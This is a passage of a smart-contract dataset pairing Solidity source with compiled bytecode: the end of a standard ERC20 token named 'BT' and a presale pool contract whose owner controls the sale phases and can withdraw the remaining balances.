* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
contract BT is ERC20 {
constructor() ERC20("BT", "BT") {
_mint(msg.sender, 200000000 * 10 ** decimals());
}
} | 0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461016857806370a082311461019857806395d89b41146101c8578063a457c2d7146101e6578063a9059cbb14610216578063dd62ed3e14610246576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100fc57806323b872dd1461011a578063313ce5671461014a575b600080fd5b6100b6610276565b6040516100c39190610e40565b60405180910390f35b6100e660048036038101906100e19190610c8e565b610308565b6040516100f39190610e25565b60405180910390f35b610104610326565b6040516101119190610f42565b60405180910390f35b610134600480360381019061012f9190610c3f565b610330565b6040516101419190610e25565b60405180910390f35b610152610431565b60405161015f9190610f5d565b60405180910390f35b610182600480360381019061017d9190610c8e565b61043a565b60405161018f9190610e25565b60405180910390f35b6101b260048036038101906101ad9190610bda565b6104e6565b6040516101bf9190610f42565b60405180910390f35b6101d061052e565b6040516101dd9190610e40565b60405180910390f35b61020060048036038101906101fb9190610c8e565b6105c0565b60405161020d9190610e25565b60405180910390f35b610230600480360381019061022b9190610c8e565b6106b4565b60405161023d9190610e25565b60405180910390f35b610260600480360381019061025b9190610c03565b6106d2565b60405161026d9190610f42565b60405180910390f35b606060038054610285906110a6565b80601f01602080910402602001604051908101604052809291908181526020018280546102b1906110a6565b80156102fe5780601f106102d3576101008083540402835291602001916102fe565b820191906000526020600020905b8154815290600101906020018083116102e157829003601f168201915b5050505050905090565b600061031c610315610759565b8484610761565b6001905092915050565b6000600254905090565b600061033d84848461092c565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610388610759565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610408576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ff90610ec2565b60405180910390fd5b61042585610414610759565b85846104209190610fea565b610761565b60019150509392505050565b60006012905090565b60006104dc610447610759565b848460016000610455610759565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104d79190610f94565b610761565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606004805461053d906110a6565b80601f0160208091040260200160405190810160405280929190818152602001828054610569906110a6565b80156105b65780601f1061058b576101008083540402835291602001916105b6565b820191906000526020600020905b81548152906001019060200180831161059957829003601f168201915b5050505050905090565b600080600160006105cf610759565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561068c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068390610f22565b60405180910390fd5b6106a9610697610759565b8585846106a49190610fea565b610761565b600191505092915050565b60006106c86106c1610759565b848461092c565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c890610f02565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610841576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083890610e82565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161091f9190610f42565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561099c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099390610ee2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0390610e62565b60405180910390fd5b610a17838383610bab565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610a9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9490610ea2565b60405180910390fd5b8181610aa99190610fea565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b399190610f94565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b9d9190610f42565b60405180910390a350505050565b505050565b600081359050610bbf81611370565b92915050565b600081359050610bd481611387565b92915050565b600060208284031215610bec57600080fd5b6000610bfa84828501610bb0565b91505092915050565b60008060408385031215610c1657600080fd5b6000610c2485828601610bb0565b9250506020610c3585828601610bb0565b9150509250929050565b600080600060608486031215610c5457600080fd5b6000610c6286828701610bb0565b9350506020610c7386828701610bb0565b9250506040610c8486828701610bc5565b9150509250925092565b60008060408385031215610ca157600080fd5b6000610caf85828601610bb0565b9250506020610cc085828601610bc5565b9150509250929050565b610cd381611030565b82525050565b6000610ce482610f78565b610cee8185610f83565b9350610cfe818560208601611073565b610d0781611136565b840191505092915050565b6000610d1f602383610f83565b9150610d2a82611147565b604082019050919050565b6000610d42602283610f83565b9150610d4d82611196565b604082019050919050565b6000610d65602683610f83565b9150610d70826111e5565b604082019050919050565b6000610d88602883610f83565b9150610d9382611234565b604082019050919050565b6000610dab602583610f83565b9150610db682611283565b604082019050919050565b6000610dce602483610f83565b9150610dd9826112d2565b604082019050919050565b6000610df1602583610f83565b9150610dfc82611321565b604082019050919050565b610e108161105c565b82525050565b610e1f81611066565b82525050565b6000602082019050610e3a6000830184610cca565b92915050565b60006020820190508181036000830152610e5a8184610cd9565b905092915050565b60006020820190508181036000830152610e7b81610d12565b9050919050565b60006020820190508181036000830152610e9b81610d35565b9050919050565b60006020820190508181036000830152610ebb81610d58565b9050919050565b60006020820190508181036000830152610edb81610d7b565b9050919050565b60006020820190508181036000830152610efb81610d9e565b9050919050565b60006020820190508181036000830152610f1b81610dc1565b9050919050565b60006020820190508181036000830152610f3b81610de4565b9050919050565b6000602082019050610f576000830184610e07565b92915050565b6000602082019050610f726000830184610e16565b92915050565b600081519050919050565b600082825260208201905092915050565b6000610f9f8261105c565b9150610faa8361105c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115610fdf57610fde6110d8565b5b828201905092915050565b6000610ff58261105c565b91506110008361105c565b925082821015611013576110126110d8565b5b828203905092915050565b60006110298261103c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611091578082015181840152602081019050611076565b838111156110a0576000848401525b50505050565b600060028204905060018216806110be57607f821691505b602082108114156110d2576110d1611107565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6113798161101e565b811461138457600080fd5b50565b6113908161105c565b811461139b57600080fd5b5056fea2646970667358221220cd725d24581f1b75f7454176a1e8f196e9792f12bb80990217d03f2ef62bb47964736f6c63430008010033 | {"success": true, "error": null, "results": {}} | 169 |
0xFb3e3E964947bAD74E69F39bB349c3f5994F8A08 | // Created By BitDNS.vip
// contact : Presale Pool
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.8;
// File: @openzeppelin/contracts/math/SafeMath.sol
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/utils/Address.sol
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* This test is non-exhaustive, and there may be false-negatives: during the
* execution of a contract's constructor, its address will be reported as
* not containing a contract.
*
* IMPORTANT: It is unsafe to assume that an address for which this
* function returns false is an externally-owned account (EOA) and not a
* contract.
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract PresalePool {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using Address for address;
IERC20 public presale_token;
IERC20 public currency_token;
uint256 public totalSupply;
uint256 public price;
bool public canBuy;
bool public canSell;
uint256 public minBuyAmount = 1000 ether;
uint256 constant PRICE_UNIT = 1e8;
mapping(address => uint256) public balanceOf;
address private governance;
event Buy(address indexed user, uint256 token_amount, uint256 currency_amount, bool send);
event Sell(address indexed user, uint256 token_amount, uint256 currency_amount);
constructor () public {
governance = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == governance, "!governance");
_;
}
function start(address _presale_token, address _currency_token, uint256 _price) public onlyOwner {
require(_presale_token != address(0), "Token is non-contract");
require(_presale_token != address(0) && _presale_token.isContract(), "Subscribe stoken is non-contract");
require(_currency_token != address(0), "Token is non-contract");
require(_currency_token != address(0) && _currency_token.isContract(), "Currency token is non-contract");
presale_token = IERC20(_presale_token);
currency_token = IERC20(_currency_token);
price = _price;
canBuy = true;
canSell = false;
}
function buy(uint256 token_amount) public {
require(canBuy, "Buy not start yet, please wait...");
require(token_amount >= minBuyAmount, "Subscribe amount must be larger than 1000");
//require(token_amount <= presale_token.balanceOf(address(this)), "The subscription quota is insufficient");
uint256 currency_amount = token_amount * price / PRICE_UNIT;
currency_token.safeTransferFrom(msg.sender, address(this), currency_amount);
totalSupply = totalSupply.add(token_amount);
balanceOf[msg.sender] = balanceOf[msg.sender].add(token_amount);
if (token_amount <= presale_token.balanceOf(address(this)))
{
presale_token.safeTransfer(msg.sender, token_amount);
}
emit Buy(msg.sender, token_amount, currency_amount, token_amount <= presale_token.balanceOf(address(this)));
}
function sell(uint256 token_amount) public {
require(canSell, "Not end yet, please wait...");
require(token_amount > 0, "Sell amount must be larger than 0");
require(token_amount <= balanceOf[msg.sender], "Token balance is not enough");
require(token_amount <= totalSupply, "Token balance is larger than totalSupply");
uint256 currency_amount = token_amount * price / PRICE_UNIT;
currency_token.safeTransfer(msg.sender, currency_amount);
presale_token.safeTransferFrom(msg.sender, address(this), token_amount);
totalSupply = totalSupply.sub(token_amount);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(token_amount);
emit Sell(msg.sender, token_amount, currency_amount);
}
function end() public onlyOwner {
canBuy = false;
canSell = true;
}
function finish() public onlyOwner {
canBuy = false;
canSell = false;
}
function getback(address account) public onlyOwner {
uint256 leftPresale = presale_token.balanceOf(address(this));
if (leftPresale > 0) {
presale_token.safeTransfer(account, leftPresale);
}
uint256 leftCurrency = currency_token.balanceOf(address(this));
if (leftCurrency > 0) {
currency_token.safeTransfer(account, leftCurrency);
}
}
function setMinBuyAmount(uint256 amount) public onlyOwner {
minBuyAmount = amount;
}
} | 0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063d56b288911610097578063efbe1c1c11610066578063efbe1c1c14610368578063f66bf22914610372578063fa3afbbf14610390578063ff65226c146103b2576100f5565b8063d56b288914610294578063d96a094a1461029e578063e4849b32146102cc578063e76f9d4e146102fa576100f5565b80637336b3db116100d35780637336b3db146101ba578063a035b1fe146101fe578063a79701541461021c578063d494c38814610266576100f5565b806318160ddd146100fa5780632e2860db1461011857806370a0823114610162575b600080fd5b6101026103d4565b6040518082815260200191505060405180910390f35b6101206103da565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101a46004803603602081101561017857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610400565b6040518082815260200191505060405180910390f35b6101fc600480360360208110156101d057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610418565b005b610206610748565b6040518082815260200191505060405180910390f35b61022461074e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102926004803603602081101561027c57600080fd5b8101908080359060200190929190505050610773565b005b61029c610840565b005b6102ca600480360360208110156102b457600080fd5b810190808035906020019092919050505061093b565b005b6102f8600480360360208110156102e257600080fd5b8101908080359060200190929190505050610d7d565b005b6103666004803603606081101561031057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611123565b005b610370611583565b005b61037a61167e565b6040518082815260200191505060405180910390f35b610398611684565b604051808215151515815260200191505060405180910390f35b6103ba611697565b604051808215151515815260200191505060405180910390f35b60025481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60066020528060005260406000206000915090505481565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146104db576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561057b57600080fd5b505afa15801561058f573d6000803e3d6000fd5b505050506040513d60208110156105a557600080fd5b81019080805190602001909291905050509050600081111561060e5761060d82826000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166116aa9092919063ffffffff16565b5b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156106af57600080fd5b505afa1580156106c3573d6000803e3d6000fd5b505050506040513d60208110156106d957600080fd5b810190808051906020019092919050505090506000811115610743576107428382600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166116aa9092919063ffffffff16565b5b505050565b60035481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610836576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b8060058190555050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610903576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600460006101000a81548160ff0219169083151502179055506000600460016101000a81548160ff021916908315150217905550565b600460009054906101000a900460ff166109a0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611d0e6021913960400191505060405180910390fd5b6005548110156109fb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180611cbb6029913960400191505060405180910390fd5b60006305f5e100600354830281610a0e57fe5b049050610a60333083600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661177b909392919063ffffffff16565b610a758260025461188190919063ffffffff16565b600281905550610acd82600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188190919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610bae57600080fd5b505afa158015610bc2573d6000803e3d6000fd5b505050506040513d6020811015610bd857600080fd5b81019080805190602001909291905050508211610c3c57610c3b33836000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166116aa9092919063ffffffff16565b5b3373ffffffffffffffffffffffffffffffffffffffff167fc2b127ef35f2d3c0c501d357f535653521d028e6ff8d1bf593029687a21ffd4883836000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610d1457600080fd5b505afa158015610d28573d6000803e3d6000fd5b505050506040513d6020811015610d3e57600080fd5b81019080805190602001909291905050508611156040518084815260200183815260200182151515158152602001935050505060405180910390a25050565b600460019054906101000a900460ff